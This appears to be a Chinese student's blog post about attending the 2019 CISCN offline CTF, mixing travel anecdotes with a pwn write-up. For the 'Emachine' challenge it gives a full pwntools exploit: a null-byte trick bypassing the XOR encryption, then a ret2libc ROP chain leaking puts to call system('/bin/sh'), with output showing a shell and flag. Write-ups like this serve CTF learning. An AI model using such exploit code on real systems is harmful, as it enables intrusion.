2019全国大学生信息安全大赛线下初体验 --体验黑客的儿童节
目錄
- 楔子
- Day0
- Day1
- WriteUp
- 編寫EXP
- Day2
- WP(虛假的WP)
- easy_pwn
- Message
- Day2賽果
- 結尾
楔子
20歲的第一次兒童節,萬萬沒想到,自己竟然真的回到了十年前沒有智能機與互聯網的時代。Day0
這場比賽的線上賽,大概是在四月份吧,也就這個學期的起始。但是轉眼一瞬,線下選拔賽便是兩個月之后,就快要抓不住學期的尾巴。
幾個月之后便是大三的學生了,將要考慮未來的方向。這學期花了很多時間來做自己的事情,學習自己想學的東西,課程甚至都有一些放下了。花了很多時間來學習pwn,但是依舊是個pwn菜雞。
如果從技術層面來講,這場比賽晉級的希望很小。如果留在學校打天翼杯,還能留下來陪gf。
但單純從紀念程度上來講,這場比賽對我來說意義也是非凡。
遙想去年的這場比賽,就是我步入網絡安全的第一場比賽。
當時我還是個剛自學完C語言,對計算機并不癡迷的普通大一學生。#當時只想練出8塊腹肌和扣籃
但是當時老高拉著我和一個學長#已經畢業#打了這場比賽的線上賽,但是當時并沒有晉級。還記得當時華為云的梗#(詳見知乎,如何看待2018全國大學生信息安全線上賽)
但正是這場比賽,從去年開始改變了我的星軌。
而如今終于靠團隊和自己的能力進入了分區選拔賽
#雖然是某大佬瘋狂暗示才晉級的#但沒有py哦
無論如何,這些年的努力沒有被白費。老高這次沒來,因為他早就預計見了這次比賽的確很難有好的結局,但是我個人堅持來的原因,
還是因為這場夢,必須要圓了它。
來南京的路上,經過了一些波折,卡點到了高鐵站,啊哈哈哈,已經不是第一次卡點了。從大一到現在,趕車去南京,已經輕車熟路。從南京南站下,這么多個月過去了,這里終于支持支付寶刷地鐵和公交了。。。。
作為路癡,全程跟著團隊走,拍了一堆視頻,想回去剪輯,后來發現,忽然失去了性質。
夫子廟,第二次來夫子廟,居然還是和貴江。。。然后貴江繼續扮演導游的角色,把我們帶到了三味酥屋,然后我又買了。。。本來決定不買的,結果,就是覺得月底了,應該花錢。。。
在繞了夫子廟饒了無數圈之后,終于進了一家燒烤店,作為一個好學生#騙人的#,很少吃燒烤,小龍蝦都不會吃。偷瞄別人怎么吃的。。然后假裝。。。#上一次吃小龍蝦大概我還在上幼兒園/小學低年級。
明天現場是不允許帶任何互聯網設備的(手機要沒收),還有準備了信號屏蔽儀。真棒,只讓我想起了高中時候那些屏蔽不了4G的信號屏蔽儀。。。
作為一個連ASCII碼都要上網查的網絡重度依賴患者,這簡直是地獄啊。所以連夜下了很多工具和資料備用#實際上是學長下了發給我的,我太懶了。
大晚上肚子咕咕叫,明天也準備咕咕咯。
#請安靜地咕咕
Day1
(2019.6.1)
一大早來到解放軍陸軍大學???(貌似是叫個名字),校園內部是不讓拍照的,所以沒有留下一點點我來過這里的痕跡。
#好在昨天去夫子廟,拍了很多照片,還有和我兒子貴江的合照。
昨天主辦方說了,體育館里面沒空調,所以給我們準備了冰塊???(what,讓我們自制冰鎮肥宅快樂水?)
體育館內部,就是大家非常常見的那種,CTF競賽的布局。
檢錄的時候,把我們手機收了,沒辦法拍照和拍小**
#話說這是我大學以來,離開手機時間最長的一段時間,沒有之一。#
主持人介紹重量級人物介紹的時候,我們才知道我們和諸葛建偉大佬的距離大概是半個體育館的距離,不過還是很激動,畢竟能能遠遠地看一下CTF的傳奇類人物也是很滿足咯。說到傳奇人物,并沒有看到南郵的桌子在哪里。。。想和郁離歌面基,哈哈哈。
飲料提供了礦泉水和紅牛(???雖然這是籃球館,但是紅牛,真的有必要么),還有一些面包。
#此處應該有我和德華學長干杯的照片
喝了兩罐紅牛,全場我上了三四次廁所。。。
關鍵問題,現場居然還提供了急救箱。。。這是怕我們比賽太激烈了猝死么。。。
關于這次比賽吐槽就吐槽這么多。
開始做題!!!
登陸這個熟悉的平臺。。。
題目總覽:(一大波題目正在靠近)
PWN題有5題,前兩題是堆溢出,第三題是ARM,第四題沒看但是感覺自己做不出來。
所以說就直接啃第五題,因為被坑了這么多次,直覺告訴我放最后面的題目反而是最簡單的#弱者總是躲在后面
于是就開始了我這個pwn手中的弱者和pwn題中的弱者之間的較量。
WriteUp
題目描述:Emachine
File查看以下文件的屬性,64位ELF。
保護機制NX和ASLR(雖然看不了,但默認他開了。。。目前還沒碰到不開ASLR的)``
CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial先測試一下程序,明顯的棧溢出。
Payload = print "A"*88+"BBBB"
結合IDA分析。
基本可以確定是ROP,但是還需要解決的就是加密算法。
Main函數會調用encrypt函數,溢出點在encrypt函數中
第十行的gets()
知道溢出點 gets(s) 但是s字符串在程序走到while(1)中被異或加密了
剛開始的思路:
難點:
#老萌新只能喊666
腦洞
截斷字符串,繞過加密
首先,審計源碼。我們寫入的數據保存在s字符串中While的循環中,對s字符串進行了操作。但是strlen這個函數非常關鍵,這個函數用來判斷字符串長度,但它的特性是會被0x00截斷。所以,如果我們字符串中存在0x00,字符串長度就只包含0x00前面的一部分,while循環也不會給我們的數據進行加密。
腦洞利用:Payload的a改成00就行了,完全繞過了加密算法。因為加密算法是根據字符串來加密的,所以只要把字符串截斷了,后面的數據就不會被加密。相當于繞過了加密。
編寫EXP
構造ROP
#搜集ROP零件
$ ROPgadget --binary ./Emachine |grep rdi0x0000000000400c83 : pop rdi ; ret
#查看自己的基址
Start End Perm Name 0x00400000 0x00402000 r-xp /home/xxx/CTF/2019.6.1/Emachine 0x00601000 0x00602000 r--p /home/xxx/CTF/2019.6.1/Emachine 0x00602000 0x00603000 rw-p /home/xxx/CTF/2019.6.1/Emachine寫出leak的模板
#大概的模板
到這里我們已經能夠控制程序流程了,感覺接下來就是很簡單的rop了
敲代碼就是這樣,一小時就像一分鐘一樣不值錢。一瞬間就到了中午,現場開始發放盒飯。因為找到了繞過方法,所以感覺壓力沒這么大了,這邊的飯除了太硬了太難吃了也沒啥缺點了。。
至于大雞腿味道還是可圈可點了。。服務相對來說還是很周到的,有小姐姐/小哥哥給你送飯送菜送餐巾紙送溫暖(黑人問號???)#好像寫偏了
因為之前在本地pwn成功,服務器pwn總是失敗的陰影。而服務器端的libc不清楚,所以有些擔心,就先用了其他常用的libc盲寫,然后盲打,發現都沒有拿到shell。#因為沒其他libc 的執行環境,所以叫盲打#我發誓以后肯定要裝一個能隨意換libc版本的環境,感覺真的好累。
后來比賽還剩幾分鐘,有些退縮的意思了,于是想本地pwn一下玩玩。用本地libc-2.23.so隨便試試。遠程第一次失敗了#貌似沒關context
以為pwn不通的,準備等死,結果學長讓我再掙扎一下。再pwn 的時候,發現居然成功了。服務器端的libc也是libc.so.6!!!!!!
激動到手抖,踉踉蹌蹌地提交了flag
#一開始我對著第四題,瘋狂提交,結果一直錯,后來他們說我提交錯題了。。。太激動了
#看了下時間,還有六分鐘不到平臺結束提交。
xxx@migraine:~/CTF/2019.6.1$ python Emachine.py[*] '/home/xxx/CTF/2019.6.1/libc.so' Arch: amd64-64-little RELRO: PartialRELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to 172.29.67.119 on port 9999: Donepayload=\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x83\x0c@\x00\x00\x00\x00\x00 `\x00\x00\x00\x00\x00�@\x00\x00\x00\x00\x00(\x0b@\x00\x00\x00\x00\x00addresss=9066207c377f system_address=0x7f377c1dc390 sh_address=0x7f377c323d57 [*] Switching to interactive mode Input your Plaintext to be encryptedCiphertext $ ls bin challenge dev flag lib lib32 lib64 libx32 #成功拿到flag!!! $ cat flagciscn{DN9gTD8vNd4yGEXhvG} Timeout
我們四個人第一天戰績,web題我們隊因為網絡原因有道簡單的題目居然打不開,所以我們只寫了一題。pwn出來之后,這次排名24左右,再Break it之后就是Fix it咯。
吐槽一下現在web題,真的難到可怕出題人神一般的腦洞。
根據貴江的話,“你眼中的弱口令是123,但是他們的弱口令是巧克力???”
這是他今天的親身體會。。
去年筆者剛入行的時候,就是被web的腦洞勸退了。于是成為了一個pwn手。。。
#聽他們講有道web題是郁離歌出的題的魔改版本,結果郁離歌自己沒做出來。。。因為實在魔改的太可怕了#郁離歌別打我
EXP腳本
-------Exp.py--------- #coding=utf-8 from pwn import * from time import * #逆向算法腳本#學長寫的,雖然沒用上,但是算法是沒問題的,就先掛著以后看著學習 def enc(st): enst = [] dst = [] dst.append((st&0xff0000) >> 16) dst.append((st&0x00ff00) >> 8) dst.append(st&0xff) print(dst) for c in dst: oc = c if (c <= 96) or (c > 122): if (c <= 64) or (c > 90): if (c > 47) and (c <= 57): oc = c ^ 0xf else: oc = c ^ 0xe else: oc = c ^ 0xd enst.append(oc) res = 0x0000000000000000 res = (enst[0] << 16) + res res = (enst[1] << 8) + res res = (enst[2]) + res return res #recv(8)到的數據是小端的,要反過來def upack(address): ad1=address&0xff ad2=(address>>8)&0xff ad3=(address>>16)&0xff ad4=(address>>24)&0xff ad5=(address>>32)&0xff ad6=(address>>40)&0xff Address=ad1 Address=Address*0x100+ad2 Address=Address*0x100+ad3 Address=Address*0x100+ad4 Address=Address*0x100+ad5 Address=Address*0x100+ad6 return Address #設置 #-----Settings------ Remote=1 Debug=0 Detail=0 #------------------ libc=ELF('libc.so') #cp /lib/x86_64-linux-gnu/libc-2.23.so libc.so if Remote: p=remote("172.29.67.119",9999) else: p=process("./Emachine") if Debug: #gdb.attach(p,'b *0x400aee') gdb.attach(p,'b main') if Detail: context.log_level='debug' puts_got=0x602020 #需要泄露的地址 puts_plt=0x4006e0 pop_rdi=0x400c83 ret2encrypt=0x4009A0 main=0x400b28#libc.so.6#Puts_execve=0x31580#Puts_system=0x31580#Puts_sh=0x1334da#one_gadget=0x64cdf offset1=libc.symbols['puts']-libc.symbols['system']offset2=libc.symbols['puts']-next(libc.search('/bin/sh')) #第一條ROP鏈#使用puts構造leakdef leak(address): p.recvuntil("choice!") p.sendline("1") sleep(0.1) payload=p64(0)*(88/8) #88字節造成溢出 payload+=p64(pop_rdi) #gadget #payload+=p64(puts_got) #args payload+=p64(address) #泄露的地址 payload+=p64(puts_plt) #call puts payload+=p64(main) #重新執行函數 print "payload="+payload p.sendline(payload) p.recvuntil('Ciphertext') p.recvline() p.recvline() Data=p.recv(6) #接收泄露的地址 print "addresss="+(Data).encode('hex') Data=int((Data).encode('hex'),16) #print upack(Data) #log.info("%#x=>%s"%(address, (Data or '').encode('hex'))) return Data #d=DynELF(leak,elf=ELF('./Emachine')) #沒有成功leak出來 #根據偏移計算system和bin/sh的真實地址 puts_addr=leak(puts_got) system_address=upack(puts_addr)-offset1 print "system_address="+hex(system_address) sh_addr=upack(puts_addr)-offset2 print "sh_address="+hex(sh_addr) #第二條ROP鏈 p.recvuntil("choice!") p.sendline("1") sleep(0.1) payload2=p64(0)*(88/8) payload2+=p64(pop_rdi) #gadget payload2+=p64(sh_addr) payload2+=p64(system_address) #call system p.sendline(payload2) interactive() -----------------------------------------Fix部分(不會,交給學長了)
Day1的WP到此結尾辣。。。結束最想說的一句話就是,我想上網!!!
Day2
背上所有的裝備,踏上了救贖之路。
新的題目出來了,WEB有一道題亮了,DABAOJIANG???//強行譯為大寶劍
PWN出了三道題,MESSAGE、EASY_PWN、BOOKMARK
分別是棧溢出、逆向、堆溢出
而今天德華學長終于連上了,他說把驅動全刪了。。。昨天他沒辦法連接比賽的網絡,給我打了輔助。
WP(虛假的WP)
easy_pwn
檢查保護機制
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL本地運行效果
xxx@migraine:~/CTF/2019.6.1$ ./easy_pwn xxx@migraine:~/CTF/2019.6.1$遠程運行效果
$ nc 172.29.67.106 9999 the treasure is mine! this is my gift for you, take it! inputs your index?1 input your code:2
關鍵在于這段代碼,檢測本地有沒有flag
后來做著做著發現,這貌似是一道逆向題。。。類似pwnable的input。這是我的弱項。。最后學長是想出了解決方案,但是中午break環節就結束了,所以這題就非常可惜了。
Message
放出了解題方案,還是沒有隊伍解出來。ROP逐位猜解,還是有些不懂。說來慚愧,連登陸都沒繞過去的我,這個題目只能吃瓜了。
感嘆自己二進制分析能力的確有限,昨天的pwn題也是非常依賴學長的分析,否則自己純分析可能還是很難寫出來的。
Day2賽果
第二天的pwn一無所獲,隊里的web手做出一道題。(就是那個//大寶劍) 昨天的加固才成功了一題,所以總排名不是很可觀。估計大概分區三等獎吧。#萬一built部分崩了也沒辦法了
比賽結束之后,我們坐上了回程的商務車,結束了為期兩天的南京之行。遺憾還是有的吧,但是更多的是滿足。
學pwn這么久,終于到了pwn的主場了
隊里的大佬還糾結過六一是留在學校參加天翼杯,還是來比賽,因為學校的比賽獎品頗豐。(后得知留在學校的學長獲得了4000-6000左右的比賽獎金)當然咯,我太菜了就不用糾結咯,留在學校也拿不到獎金。
除了pwn和一點點web,啥都不會的我哭了
在與互聯網隔絕了兩天之后,我才發現早在5月31日,安全某平臺的稿費終于到了。不多說咯,終于可以清一清購物車咯。6月1日有個快遞送到了我的學校,今天回學校取件才發現是gf給我買了一箱旺仔牛奶,給我的兒童節禮物。#無狗糧不博客,嘻嘻別打我
結尾
最后祝各位師傅六一兒童節快樂喲,大家有沒有收到自己的禮物呢。#安利一波今天開封菜的兒童套餐玩具哦!
希望下一次比賽自己能走更遠。
也希望各位師傅不吝賜教!
未完待續。。。
總結
以上是生活随笔為你收集整理的2019全国大学生信息安全大赛线下初体验 --体验黑客的儿童节的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: windows media player
- 下一篇: 汉语是最了不起的语言